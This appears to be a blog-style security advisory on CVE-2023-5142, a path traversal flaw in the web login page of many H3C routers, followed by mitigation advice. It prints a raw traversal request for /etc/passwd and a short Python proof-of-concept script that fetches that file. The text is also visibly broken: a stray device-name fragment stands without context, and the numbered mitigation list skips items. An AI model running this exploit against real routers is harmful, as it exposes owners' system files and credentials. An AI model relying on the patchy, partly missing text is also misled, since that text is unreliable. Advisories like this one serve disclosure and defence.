CVE-2023-5142 - Path Traversal Vulnerability in H3C Routers ([VDB-240238]) – What You Need to Know

If you use any of a wide range of H3C router models—including GR–110-P, GR–1108-P, GR–120W, GR–180AX, GR–220, GR–320, GR–520, GR–830, ER210n, ER220G2, ER320G2, ER326G2, ER510G2, ER520G2 or ER630G2—manufactured up to September 8, 2023, it’s time to pay close attention.

A newly disclosed vulnerability, CVE-2023-5142, has emerged that enables attackers to perform path traversal via a critical part of these devices' web interface. This post will break down what this means, how it works, why it matters, and how you can protect yourself.

What Is CVE-2023-5142?

CVE-2023-5142 is a security vulnerability that affects the /userLogin.asp endpoint on many H3C router models. The issue is classified as "problematic" and involves a path traversal bug in the “Config File Handler” component. Path traversal bugs, if successfully exploited, let attackers get access to files that should be off limits—potentially exposing configuration data, credentials, or sensitive system files.

This vulnerability can be exploited remotely, but the good news is that actually making it work is not trivial; the attack is considered to have high complexity and has shown to be difficult in practical scenarios. Regardless, public proof-of-concept exploits exist, and the vendor hasn't responded to the security report so far.

The Technical Details (As Simple as It Gets)

Attackers abuse the fact that the router's web interface does not properly sanitize input given to the /userLogin.asp file. By inserting directory traversal sequences like ../ (double-dot-slash), a hacker can trick the router into serving up files from outside of the intended web directory.

Example Malicious Request

GET /userLogin.asp?file=../../../../../../etc/passwd HTTP/1.1
Host: [router-IP]

The above request tries to access /etc/passwd—a sensitive file on Unix-like systems—by hopping back ("up") multiple folders from the web root to the system root.

Sample Exploit Script

Here's a basic Python proof-of-concept for education and testing in a controlled lab (never use against devices you do not own):

import requests

target_ip = "192.168.1.1"  # Replace with your router's IP
traversal_path = "../../../../../../etc/passwd"
url = f"http://{target_ip}/userLogin.asp?file={traversal_path}";

response = requests.get(url)
if response.status_code == 200:
    print("Exploit successful! File contents:")
    print(response.text)
else:
    print("Exploit failed, got status:", response.status_code)

If the device is vulnerable, you'll see the contents of /etc/passwd in the terminal—a sure sign your router is at risk.

ER630G2

All firmware versions up to 20230908 are vulnerable.

Public Exploit Disclosure

According to VDB-240238, public exploit scripts have been released and could help attackers weaponize this vulnerability. This makes the situation more urgent—attackers can even automate their scans to find and exploit routers with this flaw over the internet.

NOTE: The researchers attempted early notification to H3C, but the vendor did not respond before public disclosure.

What You Can Do

1. Limit router web interface exposure: Do not expose router management interfaces to the internet if possible.

Access control: Only allow trusted IP addresses to access the web admin page.

4. Monitor network logs: Watch for unusual requests to /userLogin.asp or repeated failed access attempts.
5. Check for updates: Keep an eye on H3C’s official support page for any late-breaking firmware patches.
6. Consider replacing or isolating affected devices: If no patch becomes available, consider long-term replacements or strict isolation.

References

- NVD Record for CVE-2023-5142
- VulDB Entry VDB-240238
- Original advisory on VulDB

Final Thoughts

Path traversal vulnerabilities are nothing new, but their impact on network environment routers can be significant. While CVE-2023-5142 isn’t the easiest flaw to exploit, the existence of public proof-of-concepts shifts the risk higher, especially for businesses with unpatched or internet-exposed devices.

Stay aware, limit remote access, and watch for supplier updates—but if the vendor remains unresponsive, plan to switch to a different router for your security and peace of mind.


*Keep your networks safe—awareness is always your best defense.*

Timeline

Published on: 09/24/2023 22:15:10 UTC
Last modified on: 11/07/2023 04:23:30 UTC